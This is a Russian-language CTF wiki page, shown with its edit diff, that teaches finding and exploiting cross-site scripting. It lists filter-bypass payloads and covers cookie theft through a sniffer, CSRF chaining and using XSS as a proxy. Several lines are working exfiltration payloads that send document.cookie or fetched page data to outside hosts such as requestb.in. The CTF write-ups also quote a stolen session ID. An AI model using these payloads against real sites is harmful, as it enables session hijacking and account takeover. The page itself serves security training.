Xss — различия между версиями
Drakylar (обсуждение | вклад) м (→Proxy) |
Drakylar (обсуждение | вклад) м (→Proxy) |
||
(не показаны 33 промежуточные версии этого же участника) | |||
Строка 1: | Строка 1: | ||
+ | [[Категория:Web]] | ||
Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. | Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. | ||
Строка 36: | Строка 37: | ||
− | [[File: | + | [[File:xss_find1.png]] |
Видим, что наш текст вывелся - записываем его куда-нибудь и повторяем это действие с другими параметрами. | Видим, что наш текст вывелся - записываем его куда-нибудь и повторяем это действие с другими параметрами. | ||
Строка 72: | Строка 73: | ||
В итоге у нас должна получиться строка вида: | В итоге у нас должна получиться строка вида: | ||
− | + | <source lang="html4strict" line="1">test<script>test</source> | |
Строка 93: | Строка 94: | ||
А вот что: | А вот что: | ||
− | + | <source lang="html4strict" line="1"><a href='test' onload='alert()' a=''></source> | |
Строка 104: | Строка 105: | ||
Возьмем в пример следующий код: | Возьмем в пример следующий код: | ||
− | + | <source lang="html4strict" line="1"> | |
− | + | <script> | |
− | + | var a = 'text'; | |
+ | </script> | ||
+ | </source> | ||
А теперь смотрим, что будет при подстановке test1'; alert(); var b = 'test2 : | А теперь смотрим, что будет при подстановке test1'; alert(); var b = 'test2 : | ||
− | + | <source lang="html4strict" line="1"> | |
+ | <script> | ||
var a = 'text'; | var a = 'text'; | ||
alert(); | alert(); | ||
var b = 'test2'; | var b = 'test2'; | ||
− | + | </script> | |
+ | </source> | ||
В итоге наш код заработает, и при достижении второй строки скрипта появится окошко алерта! | В итоге наш код заработает, и при достижении второй строки скрипта появится окошко алерта! | ||
Строка 215: | Строка 220: | ||
Так же мы можем использовать XSS как прокси. Приведу пример кода: | Так же мы можем использовать XSS как прокси. Приведу пример кода: | ||
− | < | + | |
− | + | <syntaxhighlight lang="javascript" line="1"> | |
− | + | <script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> | |
− | + | <script> | |
− | + | $.ajax({ | |
− | + | type: "GET", | |
− | + | crossDomain: true, | |
− | + | xhrFields: { | |
− | + | withCredentials: true | |
− | + | }, | |
− | + | url: 'http://challenge01.root-me.org/web-client/ch23/index.php', | |
− | </ | + | success: function(data) { |
+ | img=new Image(); | ||
+ | img.src='http://requestb.in/1237qlk1?'+data; | ||
+ | } | ||
+ | }); | ||
+ | </script> | ||
+ | </syntaxhighlight> | ||
==Частные случаи обхода фильтров== | ==Частные случаи обхода фильтров== | ||
Строка 239: | Строка 250: | ||
− | + | <syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" ><IMG SRC=javascript:alert('xaknet.ru')></syntaxhighlight> | |
− | + | <syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" ><IMG SRC=javascript:alert('xaknet.ru')></syntaxhighlight> | |
(знаки ! удалить) | (знаки ! удалить) | ||
− | + | <syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" ><IMG SRC="Ja va sc ri pt : al er t( 'me ssa ge' )"></syntaxhighlight> | |
− | + | <syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" ><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4="></syntaxhighlight> | |
Обход путем двойного urlencode (bWAPP): | Обход путем двойного urlencode (bWAPP): | ||
− | + | <syntaxhighlight lang="javascript" line="1" enclose="div" style="overflow-x:scroll" >%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e</syntaxhighlight> | |
Строка 259: | Строка 270: | ||
"В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода." | "В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода." | ||
+ | <syntaxhighlight lang="javascript" line="1" style="overflow-x:scroll" > | ||
a="get"; | a="get"; | ||
b="URL(\""; | b="URL(\""; | ||
Строка 264: | Строка 276: | ||
d="alert('message');\")"; | d="alert('message');\")"; | ||
eval(a+b+c+d); | eval(a+b+c+d); | ||
+ | </syntaxhighlight> | ||
+ | "Использование UTF-7.Заключается данный способ в изменении кодировки символов xss-вектора на UTF-7. Это может сработать в тех случаях, когда в странице не указывается кодировка, и атакующий может заставить страницу испольвоть UTF-7, тем самым, обойти фильтрацию, изменив некоторые из символов UTF-8 на UTF-7." | ||
− | |||
− | + | <source lang="html4strict" line="1" style="overflow-x:scroll" > | |
+ | <HEAD> | ||
+ | <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> | ||
+ | </HEAD> | ||
+ | +ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4- | ||
+ | </source> | ||
Строка 280: | Строка 298: | ||
А вот уже с блекхата: | А вот уже с блекхата: | ||
+ | <syntaxhighlight lang="javascript" line="1" style="overflow-x:scroll" > | ||
(É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å) | (É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å) | ||
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!'' | ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!'' | ||
+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) | +$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) | ||
− | + | </syntaxhighlight> | |
Обход фильтрации точек: | Обход фильтрации точек: | ||
+ | <syntaxhighlight lang="javascript" line="1" style="overflow-x:scroll" > | ||
eval(unescape(String(/%2a%2a%2falert(%22xss%22);%2f%2a%2a/))); | eval(unescape(String(/%2a%2a%2falert(%22xss%22);%2f%2a%2a/))); | ||
+ | </syntaxhighlight> | ||
И на последок - http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html | И на последок - http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html |
Текущая версия на 12:07, 29 марта 2018
Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.
ВАЖНО!! Статья пока что не включает в себя DOM XSS!
Содержание
Нахождение XSS
Разделим нахождение на несколько пунктов
Поиск параметров
Для нахождения параметров можно либо воспользоваться программкой, встроенной в BurpSuite, либо найти все параметры вручную сниффером.
Чтобы включить spider'а, нужно правой кнопкой по директории -> Spider this host
В параметры входят не только POST/GET и другие типы запросов! Вот пример, где xss появляется из-за вывода url (чаще всего на 404 страницах) в bWAPP:
Подстановка
Для проверки параметров первоначально нужно удостовериться, что код выводится на странице.
Что делаем: в каждый параметр вставляем уникальную строку, которой нет на странице и делаем поиск по исходному коду.
Пример:
Ссылка на эту страницу: /index.php?title=Xss
Видим, что есть параметр title (но не забывайте смотреть и пост параметры)
Тогда подставим в него строку 'testtesttest'.
Видим, что наш текст вывелся - записываем его куда-нибудь и повторяем это действие с другими параметрами.
В итоге к этому моменту у нас на руках список параметров, которые нужно продолжать проверять дальше.
Изучение фильтров
Теперь начинается самое интересное!
Подставляем следующую строку в параметр:
'":;<>/\[]<script><h1>
И далее идет разделение на результат:
Отсутствие фильтров
Если у вас текст так и остался неизменным, то мои поздравления - ВЫ нашли XSS!
Убрался <script>
Если у вас вдруг исчез ТОЛЬКО <script>, то вероятнее всего идет поиск по опасным тегам - но и это в современном мире обходится.
Теперь посмотрим внимательнее - если у вас из строки ...a'<script>'b... получилась строка ...ab... то делаем следующее:
test<scr<script>ipt>test
В итоге у нас должна получиться строка вида:
test<script>test
Ну и опять же SUCCESS!
Убрались И <script> И <h1>
В этом случае чаще всего идет прогон по всем известным миру тегам - и тут обойти можно только при некоторых обстоятельствах (одно из них вы можете посмотреть в пунке 'убрались знаки <>')
Исчезли знаки '<' и '>'
Тут уже интереснее тк зависит от окружения.
В <a href='test'> и других параметрах в ' или " кавычках
Тут к нам на помощь придут такие параметры, как onload или onmouseover.
Что будет, если отослать test' onload='alert()' a=' ?
А вот что:
<a href='test' onload='alert()' a=''>
В итоге у нас запустится окошко алерта!
В тегах <script>...</script>
Тк рассчитываем, что у нас фильруются только знаки '<' и '>', то почти любой код в яве можно НАписать без них - а тем более ДОписать.
Возьмем в пример следующий код:
<script>
var a = 'text';
</script>
А теперь смотрим, что будет при подстановке test1'; alert(); var b = 'test2 :
<script>
var a = 'text';
alert();
var b = 'test2';
</script>
В итоге наш код заработает, и при достижении второй строки скрипта появится окошко алерта!
P.S.ВАЖНО!!! Если вы ошибетесь в синтаксисе js, то ваш код скорее всего не заработает. Поэтому советую проверять все в консоли.
Большинство символов преобразовались в &g t ; &l t ; и др
В этом случае вся переменная обрабатывается PHP (дополните функции из других яп) функцией под названием htmlspecialchars.
Про нее подробно написано тут: http://php.net/manual/ru/function.htmlspecialchars.php
А вот и пример ее использования (взято с google.com):
В этом случае защиту, увы, пока никак не обойти... пока...
Эксплуатация XSS
Ну нашли мы XSS - и что это нам дало? В этом пункте я приведу некоторые примеры (скорее всего их больше) эксплуатации XSS.
Кража cookies
Ну самое известное - это конечно кража чужих куки, с последующей заменой свои куки на куки жертвы и захода в аккаунт.
Что требуется для этого
- Сниффер
- Контакт с жертвой
- XSS
Начну с описания сниффера
Сниффер
Обьясню доступным языком. Cниффер (в данном случае) - скрипт, записыващий все обращения к нему (в том числе и полый url).
Например у нас есть на каком то сервере файл site.ru/sniffer.php ,
(пример кода позже)
который записывает все обращения к нему.
Вот я зашел на site.ru/sniffer.php?testtesttest - и у него в логах записалось
1) ip 2) useragent 3) testtesttest
, где testtesttest - чаще всего куки приписанные.
А теперь обьясняю почему на этот список стоит обратить внимание - многие задания с этим связаны на тасковых ctf.
Распространенные задания:
Есть чатобот (таких часто в вк встретишь) - который читает все сообщения. Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript. Нужно у него получить какой-то из пунктов (ip, useragent и(или) куки(чаще всего!))
Как они проходятся:
Обходим защиту xss (при ее наличии). Посылаем бота на наш сниффер. Получаем все нужные данные со сниффера.
Все это время мы разбирали хранимые XSS (когда xss сохраняется на сервере). Вот вам пример задания на НЕ хранимую (когда xss привязывается к url):
Есть скрипт, открывающий все ссылки,которые ему передали. Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript. Нужно у него получить какой-то из пунктов (ip, useragent и(или) куки(чаще всего!))
Решение такое - же.
(нужны примеры с реальных ctf)
CSRF+XSS
Опять же вкратце - выполняет за пользователя действия, которые пользователь врят ли бы выполнил в здравом уме (например сделать администратором кого-то).
Тут кроме XSS, еще и требуется CSRF уязвимость - про нее почитать можете у нас на вики.
Опять пример:
Есть чатобот (таких часто в вк встретишь) - который читает все сообщения. Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript. Нужно у него получить флаг, который он может отправить только при post запросе при ,например, нажатии на какую-либо кнопку.
Решение:
Раскручиваем XSS Пишем XSS скрипт, отсылающий нужный нам запрос от лица жертвы. Получаем флаг и ништяки=)
Proxy
Так же мы можем использовать XSS как прокси. Приведу пример кода:
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
<script>
$.ajax({
type: "GET",
crossDomain: true,
xhrFields: {
withCredentials: true
},
url: 'http://challenge01.root-me.org/web-client/ch23/index.php',
success: function(data) {
img=new Image();
img.src='http://requestb.in/1237qlk1?'+data;
}
});
</script>
Частные случаи обхода фильтров
Вынес в отдельную часть тк xss по большей части от обхода фильтрации и зависит(она и является обходом фильтров:) (примеры собрал с нескольких сайтов - в разделе статей их напишу)
alert(String.fromCharCode(120,97,107,110,101,116,46,114,117))
alert(unescape(/%78%61%6b%6e%65%74%2e%72%75/.source))
<IMG SRC=javascript:alert('xaknet.ru')>
<IMG SRC=javascript:alert('xaknet.ru')>
(знаки ! удалить)
<IMG SRC="Ja va sc ri pt : al er t( 'me ssa ge' )">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">
Обход путем двойного urlencode (bWAPP):
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e
"В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода."
a="get";
b="URL(\"";
c="javascript:";
d="alert('message');\")";
eval(a+b+c+d);
"Использование UTF-7.Заключается данный способ в изменении кодировки символов xss-вектора на UTF-7. Это может сработать в тех случаях, когда в странице не указывается кодировка, и атакующий может заставить страницу испольвоть UTF-7, тем самым, обойти фильтрацию, изменив некоторые из символов UTF-8 на UTF-7."
<HEAD>
<META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>
+ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4-
рассказывается обход фильтрации с помощью картинки.
http://raz0r.name/news/xss-filters-bypass-on-blackhat/
А вот уже с блекхата:
(É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''
+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)
Обход фильтрации точек:
eval(unescape(String(/%2a%2a%2falert(%22xss%22);%2f%2a%2a/)));
И на последок - http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html
Тут вы можете найти список xss пейлоадов для тестирования.
Множество примеров
SHarifCTF 2016 - WEB photoblog
Описание
url - http://ctf.sharif.edu:33455/chal/PhotoBlog/d57ad4d0f9afd1f1/ A friend of mine have stolen my cat's picture on his blog. I want to login as admin user on his blog. Do you have any idea?
Решение
1. C dirs3arch мы можем найти авторизацию админа: admin.php которая редиректит нас на login.php. Все это только потому что у нас нет правильной сессии. 2. XSS в поле под комментарии, 3. <script>document.write('<img src="http://mysite.com/cookies.php?cookie=' + document.cookie + '" />')</script> 4. Украденные куки админа: PHPSESSID=515386866780b5f132fc96c02b3ddb82. 5. Используя их, мы можем открыть страницу админки и получить флаг: c03dfe9d79b2dd4a0c8352949bde9ab9
GoogleCTF 2016 - WEB Wallowing Wallabies (II level)
Описание
Ссылка на оригинал райтапа - http://countersite.org/articles/web-vulnerability/83-web-writeup-googlectf-wallowing-wallabies.html
Требуется проэксплуатировать XSS с фильтрацией большинства тегов/payload'ов
Решение
1. Определяем, что фильтруется тег <script> только если на строке присутствует последний его знак ">" 2. Переносим знак, и составляем javascript exploit: <script > img=new Image(); img.src='https://requestb.in/xxxxxxxxx?'+document.cookie; </script > 3. Ловим куки, заменяем их в браузере 4. В декодированных из base64 куках будет показываться путь на сайте, к которому мы получили доступ 5. Переходим по найденному пути - /deep-blue-sea/team/characters и получаем флаг!
Статьи и прочее
Статьи
https://github.com/codedokode/pasta/blob/master/security/xss.md
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
http://forum.antichat.ru/threads/20140/
http://forum.antichat.ru/threads/224582/
Райтапы
NorthSec 2015 - XSS Challenge Writeups
http://holyvier.blogspot.ru/2015/05/northsec-xss-challenge-writeups.html
CSAW CTF 2014 - WEB 300
http://wiremask.eu/csaw-ctf-2014-web-300-hashes-writeup/
BBCTF 2016 - QAQ WEB 350
https://github.com/raccoons-team/ctf/tree/master/2016-03-19-bctf/web-350-QAQ
BBCTF 2016 - Homework WEB 500
https://www.ibrahim-elsayed.com/?p=214
Google CTF 2016 - Wallowing Wallabies
http://countersite.org/articles/web-vulnerability/83-web-writeup-googlectf-wallowing-wallabies.html
Тренировки
http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-1
http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-2